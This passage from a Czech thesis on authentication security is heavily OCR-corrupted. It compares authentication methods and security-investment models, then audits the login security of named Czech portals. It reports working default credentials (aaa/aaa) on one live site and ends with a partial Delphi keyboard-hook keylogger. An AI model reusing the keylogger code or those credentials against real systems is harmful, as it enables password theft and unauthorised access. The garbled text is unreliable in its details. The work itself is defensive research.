slovnicich, seznamu hesel apod.)
Pro posouzeni miry ohroZeni byla zvolena nasleidugibalni stupnice:
» Vysoka mira ohroZeni — realna hrozba ohroZeni pealoZeni znéného usili
» Stredni mira ohroZeni — existuje potencialni moznbsbzeni, které je vSak spiSe na
teoretické arovni
* Nizk& mira ohroZeni — zvolen& hrozba &&meni relevantni

Ve stupnici zarrné neni uvedena nulova mira ohroZeni, netdoneni mozné v praxi

dosahnout.

Mira ohrozZeni Hrozba
Replay-attack| Odposlech Brute-forge  Slovnikovy Ufok

Staticka hesla Vysoka Vysoka Vysoka Vysoka

‘% s Challenge/Responge  Stredni Stedni Vysoké Vysoké

'g % Certifikat Nizka Nizka Nizka Nizka

E: E [Jednorazova hesla Nizka i@ini | Stedni Nizka
Biometricka Vysok& Sedni Nizka Nizka

Tabulka 3 Porovnani autentiza&nich metod z hlediska ohrozeni (zdroj: autor)
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4.7.2. Porovnani moznosti implementace z hlediska ffgobu pouziti

Pro porovnani autentizaich metod z hlediska #pobu pouziti byly na zaklad

piedchozich zjigni posuzovany tyto zZygoby pouZziti:

Na blizko — zadavani autentérach udaj ptimo do systému

Na dalku internet — zadavani autentirigh (Odaji pro pihldSeni k vzdalenym
systénim

Telefonické — ovieni autentizace prdasdnictvim telefonu (ndjklad volani na
zakaznicke linky, telefonické bankovnictvi)

Pristup z mobilniho telefonu —figtup ke vzdalenym systémm prostednictvim
mobilniho telefonu

Pro moZnost implementace byla zvolena nasledugidiaini stupnice:
Snadna — metoda je vhodna pro tentispp pouZziti

Komplikovana — metodu nelze snadno pouzit, je tikbgnl poteba instalace
dodaténych za&izeni

Nemozna — metodu je nemozné snadno implementovat

Zpusob pouziti
Na blizko Webova Telefonické| Pristup
aplikace z mobilniho
telefonu
Staticka hesla Snadna Snadna Snadna Snadna
;S _| Challenge/Responge  Snadna Snadna Snadng Snadnd
'% % Certifikat Komplikovangd Komplikovanid| Nemozna | Komplikovang
E & Jednorazova hesla Snadna Snadna Snadna Snadna
Biometricka Komplikovang Komplikovana| Nemozna Nemozna

Tabulka 4 Porovnani moznosti implementace z hlediskzpisobu pouziti (zdroj: autor)
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4.8. Finanéni aspekty pd@itacoveé bezpénosti

4.8.1. Chranéna aktiva

Hmotnd aktiva

Mezi hmotna aktiva pét predevsim technické prastlky inform&nich technologii —
pocitate, modemy, aktivni prvky @itacovych siti, kabelové rozvody, tiskarny a ostatni
technicka z#&zeni.

Z hlediska zabezgeni Ize hmotn& aktiva povaZzovat za snadno nahhadjtgicemz
arovel zabezpéeni je gimo un¥rna vynaloZzenym prosdkim. V praxi se miZze jednat o
replikovany (redundantni) systém, kterym Izefippdt vypadku nahradit poSkozeny systém —
nagiklad nahradni servery,teivé prvky, duplicité vedenou kabelaz.

Zcizeni nebo poskozeni hmotného aktiva Ize snadnoaa odhalit monitorovacimi
systemy.

Nehmotnad aktiva

* Pracovni postupy

Jedna se o pracovni postupy vyuzivané v organizadlasti IS/ICT. Ve wtSing
piipadi jsou duSevnim vlastnictvim firmy a jsotigptisobeny konkrétni organizaci.

 Data

Data Ize oznét za nejcengySi aktivum firmy.

Ztrata dat muze ohrozit chod firmy, ale Ize jir@dchazet dodrzovanim zalohovacich
plani a gripravou krizovych pléain

KradeZz dat maZze také ohrozit chod firmy, zvi@tokud se jednd o citlivd data
(platebni karty, osobni Udaje). Prvotnim problémerkradeze p&itacovych dat je fakt, Ze
samotna kradez nemusi byt odhalena, tiel® rozdil od hmotnych aktivigodni data
zustavaji beze zemy v pavodnim umisini.

Neopravnéna modifikace dat je (podobg jako kradeZz dat) nebezp& z hlediska
duvéryhodnosti celého systému. Na rozdil od kradeze ldat modifikaci dat odhalit
pravidelnou kontrolou, ippadré zavedenim digitalniho podpisu. (Drucker, 1992)

* Programové vybaveni

Programové vybaveni seldna zakladni programové vybaveni(oper&ni systémy,

prostedky pro provoz p&itacovych siti),aplikaéni programové vybaveni(textové editory,

ERP systémy, Bl aplikac@)ridici systémy(iidi a kontrolujicinnost dalSich systéih
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e Sluzby

Jedna se o gitacové a komunikéni sluzby — zajisini zdroji elektrické energie,
klimatizace, pipojeni k internetu.

Primdrni aktiva

Jednd se zejména o nehmotnd aktiviledStavuji informace, které jsou organizaci
vyuzivany, a funé&ni procesy a aktivity organizace, u kterych jerpboa gjakym zpisobem
zajistit jejich bezpénost.

Sekunddrni aktiva

Mezi sekundarni aktiva sadi gedevSim hmotna aktiva, ktera Ize snadno nahradit, a
dopad jejich nedostupnosti |zéeplem stanovit.

Ohodnoceni aktiv

Pro kazdé aktivum je pi@ba vyjadit miru jeho divérnosti, integrity a dostupnosti. Pro
fizeni rizik jsou dlezita primarni aktiva s ohledem na ochranu a &ajiSnformaci.

Vhodnou ponickou g identifikaci aktiv je vhodné uspadani identifikovanych aktiv
do skupin. Aktiva s obdobnymi bezjmstnimi parametry jsouwtsinou vystavena podobnym
rizikam. Seskupeni aktiv zjednoduSuje dalSi postup bemamrjSich ztrat informaniho
rozsahu. (Otto, 2010)

Pro kazdé aktivum Ize stanovit zranitelnost a dgpadejwtSim problémem je
stanoveni hodnoty aktiva Jako piklad lze uvést pevny disk v pibaci — parizovaci cena
tohoto (hmotného) aktiva se pohybujeradu tisié az desetitisic korun. Hodnota
nehmotnych aktiv (dat) naém uloZenych mize mit hodnotu newyslitelnou. (Doucek, a
dalsi, 2008), (Pour, 2006)

4.8.2. Vliv aktiv na zajiSténi bezpenosti IS/ICT

Bezpeénost IS/ICT ma za ukol chranit ta aktiva, kteraujssogasti inform&niho
systému firmy podporovaného infortmami a komunikanimi technologiemi. Na
nésledujicim schématu jsou zobrazeny hrozisppici na firemni aktiva.
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Zranitelnostost
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Prirodni a fyzické Hmotna
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Technické Nehmotna
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* Pracovni
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e Data

Lidské uamysiné

* Programové

vybaven

Lidské neumysiné
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—J pol_

Obrazek 14 Schéma zajigini bezpeénosti IS/ICT (Doucek, a dalsi, 2008)

Hrozba je akce nebo udalost, kteraibe ohrozit bezpmost. Hrozba je (pokus 0)

zneuziti zranitelnosti.
4.8.3. Metodiky a normy

Predpokladem prdizeni informatiky je podpora ve fognstandard, zkuSenosti nebo
metodik. V této kapitole budou popsanydwetodiky, které jsou obeérzaneiené a kror
fizeni bezpénosti se zabyvaji i dalSimi oblastmizeni informatiky organizaci. Jsou to
celosw¢tové pouzivané metodiky COBIT a ITIL.

COBIT

Metodika COBIT (Control Objectives for Informatioand Related Technology) je
tvofena sadou procgésnavod: pro hodnoceni, ukazated nejlepSich praktickych zkuSenosti,
ktera ma za cil pomoci organizaci maximalizovat tek’i plynouci z informénich
technologii.(Doucek, a dalsi, 2008)

NejobecrjSi Urovni podrobnosti jsou definice domén

* Planovani a organizace
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» Akvizice a implementace
* Dodavka a podpora
» Sledovani a hodnoceni
V ramci kazdé domeény jsou spravovany procesy, laznkazdy niZze nabyvat Sesti
arovni zralosti proces
» Neexistujici — proces zcela chybi, organizace ngoti@bu se jim zabyvat
* Paateini — organizace citi pitbu procesu
» Opakovatelny — organizace proces pouziva, ale kenwetenci jednotlivit a neni
formalné prezentovan a Skolen
» Definovany — pracovni postupy jsou standardizovéokumentovany a Skoleny
» Rizeny — proces je mozné monitorovat &itnporovnavat soulad s postupy
* Optimalizovany — proces je vylepSovan na uGtoveejlepSich zkuSenosti, je
automatizovan
S nistem zralosti procésklesa riziko.
ITIL
Cilem metodiky ITIL (Information Technology Infrastture Library) je poskytnout
uceleny soubor tzv. nejlepSich zkuSenosti pro bbiasni sluzeb IT a souvisejicich protes
(Doucek, a dalSi, 2008), (Bucksteeg, a dalsi, 2012)
Metodiky ITIL v posledni verzi V3 definuje 5 knilB(icksteeg, a dalsi, 2012)
» Strategie sluzeb —ripdstavuje propojeni aktivit organizace se strategbblasti
informatiky
e Navrh sluzeb — obsahuje navrh sluzeb a infénfteo systému v organizaci v celém
Zivotnim cyklu, ¥etné outsourcingu
» Implementace sluZzeb — zahrnuje navody na impleroedtaprovozufizeni verzi
* Provoz sluzeb — podporuje spravu sluzébSeni problérin poruch, stanoveni
ukazatel jakosti
*  Pribézné zlepSovani sluzeb — pomaha zlepSovat zavedesigjiei sluzby
Norma ISO/IEC 27002:2005
Zakladnim vychodiskem systéniiizeni rizik by n¢la byt norma ISO/IEC 27002:2005
(diive ISO/IEC 17799). Obsahuje tzv. nejlepsSi zkuseritmeni bezpénosti informaci (best
practices). Doporteni normy obsahuje 133 bezpestnich opdeni, ktera jsou rozdena do
11 oblasti.

* Bezpe&nostni politika
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Organizace bezpgaosti — upesreéni struktury praizeni bezpénosti uvnit organizace
Rizeni aktiv — udrZzovaniiphledu o existujicich aktivech a jejiclimpétené ochrana,
stanoveni odpasdnych osob

Bezpe&nost z hlediska lidskych zdioj

Fyzicka bezpéost a bezpmost prostedi

Rizeni komunikaci &zeni provozu

Rizeni gristupu

Akvizice, vyvoj a udrzba informiich systéer

Zvladani bezpgostnich inciderit

Rizeni kontinuityéinnosti organizace

Soulad s pozadavky
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Zhodnoceni metodik a norem

V této kapitole byly uvedenytit nejpouzivagjSi metodiky a normy, které pomahaji
organizaci pi budovani systémdizeni rizik. Jedna se o pailpé prostedky, které maji
pomoci i rozhodovani.

V praibéhu ¢asu se jednotlivé metodiky a normy vzaj@émmnané priblizily a
organizace by si tha zvolit, kterd pinasi nejetsi uzitek. Néklady na zavedeni, aleyazr
ro¢ni naklady na udrzbu se pohybujfadu stovek tisic Kna stovky peéitaca rocné. Jedna se
o naklady na zagstnance udrzujici aktualni data a naklady na lieesaftware pro podporu
metodik.

Naklady na samotnou certifikaci ISO/IEC 27002: 2@ ot v fadu stovek tisic K

4.8.4. Management bezpé&nostnich proces

Metriky bezpecnosti

Na nejnizSi arovni managementu beapestnich procdsjsou jednotlivé hodnocené
metriky bezpénosti, které slouzi k analyze a zhodnoceni b&rpsinich proces Tyto
metriky vSak nesmi byt chapany izolo¥aale jsou sotAst druhé urowh— projekti meieni
bezpeénosti.

Projekty rizeni bezpecnosti

Projektytizeni bezpénosti rozaluji bezp&nost do jednotlivych oblasti, které mohou
byt nezavislerizeny. Vytv&i se dokumentace pro metriky s ohledem na znovufshodst
(reusability).

Program pro zlepsovani bezpecénosti

Ok¢ vySe uvedené urovrvstupuji (viz Obrazek 15) do oblasti programu plepSovani
bezpeénosti. (Hayden, 2010)

Vysledkem je neustélé zvySovani beapesti véase. Rozéleni problematiky do vice

arovni umo#uje nezavisléizeni samotného &eni, planovani a rozhodovani.
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Security Process Management
A

Security Improvement
Program

Security Measurement
Projects

Security Metrics

Security Requirements

Security Process Management Framework

Obrazek 15 Management bezpmostnich procesé (Hayden, 2010)

4.8.5. Analyza arizeni rizik

Provedeni vlastni analyzy rizik je mozné rozligitfe podrobnosti a hloubkyigtupi k
jejimuteSeni: (Smejkal, a dalSi, 2010)

* nedlat nic

» neformalni pistup - analyza rizik probih& Zivelihez dokumentace postup

o z&Kladni pistup - postupy jsou rdAmcéwedokumentovany a organizace ma celkovou
koncepci a vizieSeni bezgmosti informaci

» detailni gistup - vS8echna rizika jsou analyzovana podégmodle gedem definované
a dodrzované metodiky

e pristup kombinovany - &ktera rizika jsou analyzovana podrébmektera jsou pi
analyze zarrné opominuta

Ndkladovy model
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maximalnich naklatl na realizaci op&ni na jejich ochranu. Vztahy mezi hodnotou aktiva,

resp. mezi ztratou vzniklou wipac jeho znéeni nebo poskozeni a naklady na realizaci

ochrany aktiva formou opiani jsou uvedeny na Obrazek 16.(Doucek, a daldg)20

\ Vyse ndkladu na opatfeni /

Naklady (K¢)

a cena dopadu hrozby na aktiv

Naklady
Ztrata vznikla anatiani

UPGLI A~ R}
dopadem hrozby

— |

PoZadovana uroven bezpecnost
(klesajici riziko)

Obrazek 16 Nakladovy model realizace bezgaosti (zdroj: autor)

Nevyhodou nékladového modelu je jeho problematip&éaziti pro nehmotna aktiva

(nag. informace v informénich systémech), u kterych by nebylo ekonomicky méoz

vynalozit prostedky na jejich ochranu az do vySe jejich hodnotse@s, 1999)

Gordon-Loebiiv model

Gordon-Loeliv model byl popsan v roce 2002. Jednim z vyznammwjshedki, které

Sl

pouziti tohoto modeluimasi, je fakt, Ze firmy utrati za bezpestni opatni nejvysSe 37%

ocekavané ztraty (Gordon, a dalsi, 2002).

Vychodiska modelu

A —raéni finargni ztrata

t — prav@&podobnost ohrozZeni (threat) v rozsahu <0;1>

v — zranitelnost (vulnerability) v rozsau <0;1>

vtAh — adekavana ztrata

L=tA

Z — investice do zabezfni (finargni ve stejnych jednotkach jak
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Funkce S(z,v) fedstavuje prawpodobnost naruSeni bezpesti a ma nasledujici
vlastnosti:
* S(z,0)=0 (i nulové zranitelnosti je stejrchraréno pro vSechna z)
e S(O,v)=v (@i nulovych investicich do zabezfmni je pravdpodobnost naruseni
bezpeénosti rovna zranitelnosti)
* Prvni derivace podle z $z,v)<0 (funkce je klesajici), S{z,v)>0
Model
Funkce EBIS — ¢&ekavany pinos investice do zabezfmni (Expected Benefits of and
investment in information security) ma nasledujieir:
EBIS(z)=[v-S(z,v)]-L (1)
Po odéteni investic do zabezpeniz Ize vigislit ¢isty piinos jako
ENBIS(z)=[v-S(z,v)] -L-z (2)
Vzhledem k tomu, Ze funkce S(z,v) je konvexniigsh funkce ENBIS je konkavni pro
kazdé z. Optimalni Urowienvesticz* je znazortina na Obrazek 17 a je dana rovnici
-S,(z*,v)*L=1 (3)

vL

0 z* VySe investic do zabezpedeni

Obrazek 17 Optimalni vySe investic do zabezgeni (Gordon, a dalsi, 2002)

Autori modelu @li funkce S(z,v) do dvouid — tida | a tida I, které se IiSi fibéhem

pravéEpodobnostni funkce S(z,v)
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investice do zabezpeceni z3>z2>z1>0

odekavana ztrata

0 v
zranitelnost 10

Obrazek 18 Qtekavana ztrata v zavislosti na zranitelnosti,itida | (Gordon, a dalSi, 2002)

Pro #idu | je typicky linearni pro¢h (Obrazek 18). Vigpadt nulovych investic do
zabezpeéeni @i zranitelnosti 1 je &ekavana ztrata rovna L. S rostoucimi investicemi se

nejvyssi dekavana ztrata snizuje.

Optimalni droven investic do zabezpedeni

z* (v),

0 1/{epL) zranf@elnost 1.0

Obrazek 19 Optimalni Urovei investic do zabezp&eni v zavislosti na zranitelnosti, tida | (Gordon,
a dalsi, 2002)

Na Obrazek 19 je znazam pribéh funkce pro optimdlni Urovieinvestic. Hranice
nulovych investic je dana paramety>0 a B>1, které stanovuji #fitka produktivity

informatni bezpeénosti.

Podle funkce Sidy Il plati, Ze ¢ekavana ztrata roste nelinedmpodolé konvexni

funkce. Pro tuto funkci jsoufipustné nizké drovninvestic do zabezgeni @i vysoke
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zranitelnosti — tedy situace, kdy je systém natdianitelny, Zze nema smysl do jeho

zabezpéeni investovat.

investice do zabezpeceni z3>z2>zl1l>0

kavana ztrata

oce

v
zranitelnost 10

0

Obrazek 20 Céekavana ztrata v zavislosti na zranitelnosti,itida 1l (Gordon, a dalsi, 2002)

z* (v) , optimalni uroven investic do zabezpeceni

v |
i 1.0
ViL) zranitelnost V(L)
Obrazek 21 Optimalni Urovei investic do zabezpé&eni v zavislosti na zranitelnosti, tida 11

(Gordon, a dalsi, 2002)
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5. Vybér autentiza €ni sluzby

Tato kapitola je ¥novana vybru vhodné autentizai sluzby, kter4 bude smvat
naroky na bezpmou autentizaci. Tyto naroky jsou popsany v kapitall.

V ramci této kapitoly bude také provedena analyma@fvanych autentizaich nastraj
u vybranych portél v CR a mozné Gtoky na Bpob autentizace pouzity §chto portalech.
DalSi kapitoly se &nuji moznym autentizamim mechanistiim pro zvySeni bezpaosti
z hlediska implementace do poftaAutentiz&ni sluzby budou porovnany dle charakteristik
jakosti.

Tato kapitola je vysledkem vlastniho vyzkumu autdvaramci vykEru autentizani

sluzby jsou analyzovany portaly s ohledem na zadery jejich autentizace.
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5.1. Charakteristiky jakosti

Dle Vanika (Vantek, 2004) Ize hodnotit jakost dle nasledujicichrakteristik a
podcharakteristik, iixxemz kazda charakteristika nebo podcharakterisgekagfena pomoci
atributh rozhodujicich pro hodnoceny systém. Tyto atriméjsou nijak taxativhvymezeny
a zalezi na konkrétni implementaci, jak budou wuZtejré tak ne vSechny charakteristiky
jsou relevantni pro zkoumany systém.

* Funlk¢nost
Funkeni piimérenost
Presnost

Schopnost spoluprace

o O O o

Bezpe&nost

0 Shoda ve funénosti
* Bezporuchovost

0 Zralost

0 Odolnost wi¢i vadam

0 Schopnost zotaveni

o0 Shoda v bezporuchovosti
* Pouzitelnost
Srozumitelnost
Nauwitelnost
Provozovatelnost

Atraktivnost

O O O o o

Shoda v pouzitelnosti
+ Uginnost

o Casové chovani

o Vyuziti zdroja

0 Shoda v ginnosti
» Udrzovatelnost

o0 Analyzovatelnost

0 Me¢nitelnost

o Stabilnost

0 Testovatelnost
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0 Shoda v udrzovatelnosti
* Prenositelnost

o Prizpusobitelnost

0 Instalovatelnost

0 Slwitelnost

o Nahraditelnost

0 Shoda v penositelnosti

VySe uvedené charakteristiky jsou takeé &mii normy ISO/IEC 9126-1:2002. Tato

norma je tvoéena celkenttyifmi ¢astmi, z nichZ pouze prviast, ktera definuje model kvality
poditatového programového vybaveni, je harmonizovana &N norma. DalSitt ¢asti jsou
vydany jako technické zpravy a zatim nejsdel@Zeny doceStiny a harmonizovany jako
CSN normy. (Doucek, a dalsi, 2013)
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5.2. Studie zabezpéeni agroportah v CR

Teoretické predpoklady

Bezpe&nosti @i piihlaSovani do portalovych aplikaci se&nuje zn&na pozornost.
BohuZel se zagifuje prevazr na bezpénost samotného hesla a jeho ulozeni. Z obecnych
poZzadavk na bezpénou autentizaci lze st nasledujici dopoteni: (Greer, 1999),
(McClure, a dalsi, 2007)

1. Volit silnd hesla

Hesla pravidelé obmenovat
Hesla si nikde neukladat
Pro kazdy systém si volit jiné heslo

UdrZovat pdita¢ a antivirovy program aktualizovany

o 00k~ w D

Nestahovat a neinstalovat nelegéalni software
Pti bliz§im zkoumani Ize zjistit, Ze body 1-4 kladmainé naroky na paét uzivatele a
v realném Zivat je takka nemozné tato pravidla poctidodrZzovat. Pravidelna zma hesla
ve spojeni s jeho slozitosti nuti uzivatele si aasjakym zpisobem poznamenavat, coz je
v rozporu s bodem 3. Uvedené naroky se zvySuji¢tepo systéem, ke kterym uZivatel
pristupuje. Tim se stavaji protietinymi poZadavky 3 a 4.

Patet systém, ke kterym uzivatelé ziskajirigtup v pfibéhu Zivota, stéle nasta a
pozadavky uvedené v bodech 1-4 jsou tedytémrealné. Z hlediska provozovditalystént
se jedna do zraé miry o penos odpo¥dnosti za nedokonaly #pob zabezp®ni na
uzivatele.

Bod 5 Ize pordrné snadno dodrzetipspravném nastaveni §itate a OS. Problémem
mohou byt poZzadavky na starSi/neaktualizované vedafwvare. Tato situace ihe nastat
v pripact, kdy software vyzaduje jiz nepodporovanou a nesktavanou softwarovou
platformu.

Jednodus$si situace se zda byt u bodu 6, kdy zateide na uzivateli, zda je ochoten
podstoupit riziko s pouzivanim nelegélniho softwavgloucit ovSem nelze také skrytou
instalaci zfisobenou nap virem nebo podvrzenym e-mailem.

Vramci analyzy agrarnich portal bylo prednttem zkoumani zabezeni
autentizénich 0daj. Pro hodnoceni byla na zakéadnalyzy literarnich zdréj zvolena
nésledujici kritéria:

1. Systém pouziva praripojeni a penos udaj zabezp&eny protokol HTTPS
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2. Systém mé zabezgen doménovy zdznam technologii DNSSEC
3. Systém umoiuje vicefaktorovou autentizaci (jednorazova hesfmva karta)
Pro srovnani byly do hodnocenifigany také dva dominantnéeské portaly —

informacni systém datovych schranek a seznam.cz.
5.2.1. Stanoveni nér bezpe&nosti

V této kapitole jsou autorem navrzeny atributy nkeforo bezpénou autentizaci
v informanich systémech. Atributy vybranych metrik nejsoangtardizovany. Autor prace
navrhuje jejich hodnoceni v souladu s dostupnoerditirou. (Variiek, 2004) , (Hayden,
2010) a (Wen, 2001).

Pro hodnoceni bezpeosti autentizace vybranych systénoyly navrzeny nasledujici

atributy metriky bezpaosti:

Jméno nifeného atributu| Zabezpeni spojeni

Jmeéno uzité miry Zabezfmni spojeni

Ucel miry Sifrované  spojeni  znesmagici  odposlech
komunikace

Metoda ngtreni Analyzou webové stranky

Interpretace hodnot miryy 0 — nepouziva HTTPS

50—pouziva HTTPS s certifikatem od Ge&yhodné
CA

90- pouziva HTTPS s certifikatem odiwvdryhodné
CA bez roz&ené validace

100-pouzivd HTTPS s certifikatem odwdryhodné

CA s rozstenou validaci

Zdroj dat pro wteni miry | Webova stranka, seznam CA a informace
certifikatu od CA

Tabulka 5 Mira zabezpeéeni spojeni (zdroj: autor)
Jméno niteného atributu) DNSSEC

Jmeéno uzité miry DNSSEC
Ucel miry Mira ochrany proti podvrzeni DNS zaznamu
Metoda néteni Dotaz na registr DNS

Interpretace hodnot miryy 0 — nepouziva DNSSEC
100 - pouziva DNSSEC
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Tabulka 6 Mira vyuZziti DNSSEC (zdroj: autor)

Zdroj dat pro wteni miry

Registr nic.cz

Jméno mifeného atributu

Vicefaktorova autentizace

Jmeéno uzité miry

Vicefaktorova autentizace

Ucel miry

Vyuziti vice zpsohi autentizace

Vzorec pro vypoet miry

X =100 =

max(n)
, kde X=mira vicefaktorové autentizace, né&gitc
zpisohi autentizace, max(n) — nejvySSi ¢po

zpasohi autentizace ve zkoumaném vzorku

Metoda ngreni

Analyzou webové stranky

Interpretace hodnot miry

Mira vyuZziti vicefaktorauitentizace

Zdroj dat pro wteni miry

Webova stranka

Tabulka 7 Mira vicefaktorové autentizace (zdroj: ador)

5.2.2.eAGRI

Portal eAGRI tvéi centralni pistupovy bod k informé&nim zdropm MZ CR. Vzniknul

slowenim stranek mze.cz, upu.cz (stranky pozemkovyaliji a farmar.eu (Portal farre)

a za&lenénim Portalu si pro venkov. Portal podporuje pro jednotlivé aptikaizv. SSO
(Single Sign On), tedy jednotnéaseni do vSech sodasti.

Jednotné phlaseni je na pozadi umadro implementaci LDAP (Internet). \€m je

umozréno také zavedeni uzivatelského certifikatu.

Parametr Hodnoceni Poznamky

Adresa https://ilogin.mze.cz/distauth/Ul/Login

HTTPS Ano Od dvéryhodné CA, zabezgaje pouze identitu
DNSSEC Ne

Vicefaktoroval Ne

autentizace

Tabulka 8 Hodnoceni portalu eAGRI (zdroj: autor)

5.2.3. Portal farmare

Do portalu farm#e se uzivatel registruje zadosti éispup do registr Ministerstva

zemedélstvi.
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Pro Zizeni gistupu je nutné fedlozit doklady pdebné pro o¥feni totoZnosti a
opravrénosti Zadatele.

UZivatel se prokazuje étenim totoznosti (alansky ptikaz nebo cestovni pas).

Opravrenost se prokazuje u fyzické osobycabskym pikazem nebo cestovnim
pasem. U ostatnich pravnich subjettte pravnické formy:

Pravnicka osoba — vypisem ze zakladnich regi&tivypisem z Obchodniho rej#tu
(OR) nebo jinym ostdc¢enim pravni subjektivity, z kterého jeéepmé, kdo je statutarnim
zastupcem spoteosti:

Pokud Zadatel neni statutarnim zastupcem subjektisi Zadatel odevzdateare
ovérenou plnou moc, ktera je vystavena statutarninupéstm uvedenym vipdaném vypisu
z OR ¢&i v jiném oswdéeni pravniho statutu. V plné moci musi byt Zadatelocrén
pristupovat k chramym datim subjektu na Portéalu farfe (taktéz v fipad zmocreni
fyzickou osobou) a podpis zmocnitélenusi byt diedrg ovéien.

Parametr Hodnoceni Poznamky

Adresa https://www.szif.cz/irj/portal/pf/pf-uvod

HTTPS Ano Od dveryhodné CA, potvrzuje identitu, ro¥énha
validace

DNSSEC Ne

Vicefaktorovd Ne

autentizace

Tabulka 9 Hodnoceni portalu eAGRI (zdroj: autor)
5.2.4.Internet pro chovatele

Aplikace Ristup k daim zpistupiuje data chovatéin dojeného skotu, chovatieh
ovci a koz, mlékarnam a mlésym druZzstum v elektronické podab UZivatel ma
prostednictvim uzivatelského jména a hesisiup pouze k dam, ktera mu nalezi.

Prostednictvim aplikace istup k daim Ize ziskavat vysledky rozhiowzorki miéka z
kontroly uzitkovosti skotu, ovci i koz ve dvou foach a vysledky rozbérvzorki mléka pro
zperéZzovani. Ristupova prava ziska novy uzivatel pteghictvim registréniho formulde.

Béhem testovani stranekipzjiStovani, kam je uzivatelipsnérovan po neusggném
testovani — zadanim uzivatelského jména ,aaa" ahesa“ doslo k UsfEné autentizace.
V systému tedy existoval uzivatel&rtito piihlaSovacimi Gdaji. Ke stejné situaci doslo také
pii piihldSeni pomoci uzivatele ,bbb“ a hesla ,bbb*“.
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Parametr Hodnoceni Poznamky

Adresa http://data.cmsch.cz/login_data.php
HTTPS Ne
DNSSEC Ne

Vicefaktoroval Ne

autentizace

Tabulka 10 Hodnoceni portal Internet pro chovatelgzdroj: autor)
5.2.5. Agromanual.cz

Agromanudl je portal dnujici se pipravkim na ochranu rostlin jak pro zahradkatak
pro farmde. Ri registraci, kterd probiha nezabezgmym kanalem, je uZivateli &me
zaslano zvolené heslo v otené podoé.

Portdl je Uzce svazan s Agromanualshop.cz, aleop@ systémy jsou samostatné

piihlaSovaci udaje. Je tedy nutné se registrovaszvia

Parametr Hodnoceni Poznamky
Adresa http://www.agromanual.cz/cz/reqgistrace
HTTPS Ne Login POST na adresu

http://www.agromanual.cz/cz/prihlaseni

DNSSEC ANo

Vicefaktoroval Ne

autentizace

Tabulka 11 Hodnoceni Agromanual.cz (zdroj: autor)
5.2.6. Agroweb.cz

Tento portadl neposkytuje moznost registrace idlgseni, nebyl tedy zahrnut do

testovani.
5.2.7. Agris on-line

Portal Agris Online slouzi k odesilani a recenzovaiispivka do periodika Agris
Online. Registrace anitiplaSovani neprobiha zabeZpaym gipojenim. Ri ztra& hesla si
uzivatel mize nechat vygenerovat novéyvpdni neni mozné zaslat.

Parametr Hodnoceni Poznamky
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Adresa http://online.agqris.cz/index.php?idScript=9

HTTPS Ne

DNSSEC Ne

Vicefaktoroval Ne

autentizace

Tabulka 12 Hodnoceni Agris.cz (zdroj: autor)

5.2.8.Seznam.cz

Jeden z nejznégsich ¢eskych portadl poskytuje velice nizké zabezjgmi autentizace.
Prihlaseni je mozné pouze uzivatelskym jménem a heskohledem na mnozstvi uzivditel

a tedy také potencidlni riziko zneuZititil je zabezp&eni zn&né znepokoijivé.

Parametr Hodnoceni Poznamky

Adresa http://www.seznam.cz

HTTPS Ano Uvodni stranka pouze HTTP, heslo je cGaes|fes
HTTPS

DNSSEC Ne

Vicefaktorovd Ne

autentizace

Tabulka 13 Hodnoceni seznam.cz (zdroj: autor)
5.2.9. Datoveschranky.info

Datové schranky (spragnnformaini systém datovych schrdnek — ISDS) je provozovan
na zaklad zakonac. 300/2008 Sh., o elektronickych Ukonech a autvemé konverzi
dokument. Hlavni vyhodou je zaji8hi autenticity uZivatél Ta je zaji&na osobni
identifikaci @i registraci. V pipad zaslani Zadosti elektronickou cestou je vyZad@apis

uznavanych certifikatem.

Parametr Hodnoceni Poznamky
Adresa http://www.mojedatovaschranka.cz
HTTPS Ano Od dveéryhodné CA, potvrzuje identitu, ro¥8ha
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validace

DNSSEC Ano

Vicefaktoroval Ano

autentizace

Cipova karta, SMS zpravy (placené uzivatelem \&d

3K¢ za zpravu), jednorazova hesla

Tabulka 14 Hodnoceni ISDS (zdroj: autor)

5.2.10.

Shrnuti

Vysledky dle stanovenych metrik jsou shrnuty v taburabulka 15.

HTTPS DNSSEC Vicefaktorova
autentizace
eAGRI 90 0 50
Portal farmare 100 0 50
Internet pro chovatele 0 0 50
Agromanual 0 100 50
Agris on-line 0 0 50
Seznam.cz 90 0 50
Datoveschranky.info 100 100 100

Tabulka 15 Hodnoceni zabezp&ni autentizace portah (zdroj: autor)

en

Naméfené hodnoty byly zaneseny do grafu, ze kteréhdggna dominance datovych

schranek s nejvyssi Urovni zabemrd.

autentizace

Vicefaktorova /

HTTPS

== Portdl farmare
Internet pro chovatele

== Agromanual

== Agris on-line
Seznam.cz

ok” Datoveschranky.info

/|

-~DNSSEC

Graf 2 Porovnani zabezpéeni portéli (zdroj: autor)

Z oblasti agroportél byly hodnoceny nejlépe portaly eAGRI a Portal famen Oba

portaly pouzivaji shodnou autentizace proti LDARyaZivaji pro zabezgeni genosu dat
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protokol HTTPS s @ivéryhodnym certifikatem. Portal farig& navic pouziva tzv. rozéhou
validaci. Ta potvrzuje nejen vlastnictvi domény tiéé&ovanym subjektem, ale zarowe
potvrzuje identitu tohoto subjekturiBtupujici uzivatel tak ma jistotu, ze portalijpakute&ne
uvedené spotaosti.

Mimo agrarnich portélje nejlépe hodnocen systém datovych schraneky kteskytuje
bezpénost na vysoké udrovni. Naopak seznam.cz je hodnacélediska bez@@osti

autentizace velmi nizko.
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5.3. Utoky na autentizafni protokoly

V ramci této kapitoly budou uvedenykteré praktické piklady atoki na nejlszrgji

pouzivané autentizai protokoly — o¥feni pomoci hesla.
5.3.1. Odposlech hesla z klavesnice pomoci software

Pro odposlech hesla existuje mnoho softwarovychkagl Navic neni nesnadné
Vytvorit si vlastni systém pro zachytavani klavesnice.pidforme Windows je pro pdeba
pouze vytvéeni jednoduché knihovny a hlavniho programu, ktgjjima udalosti
z klavesnice. V DLL knihowvé je funkce, kterd je volanaripstisku klavesy. (zdroj: autor),
(Cantu, 2003), (Teixeira, a dalsi, 2002)

function GlobalKeyBoardHook(code: integer; wParam:
word; IParam: longword): longword; stdcall;
var p:String;
key:Byte;
begin
if code<0 then begin

GlobalKeyBoardHook:=CallNextHookEx(CurrentHook,code wPa
ram,lparam);
Exit;
end;
if (IParam and KF_UP)=0) then begin
key:=wParam;

case Key of
VK_RETURN : p:=[Enter];
VK_BACK . p:='[Backspace];
VK_ESCAPE : p:='[Esc];
VK_SHIFT . p:="[Shift];
VK_MENU C p =AY
VK_CONTROL : p:=[Ctr];
VK_DELETE : p:='[Delete];
VK_SPACE CopiEy
VK_MULTIPLY : p:=",
VK_ADD S 0 i
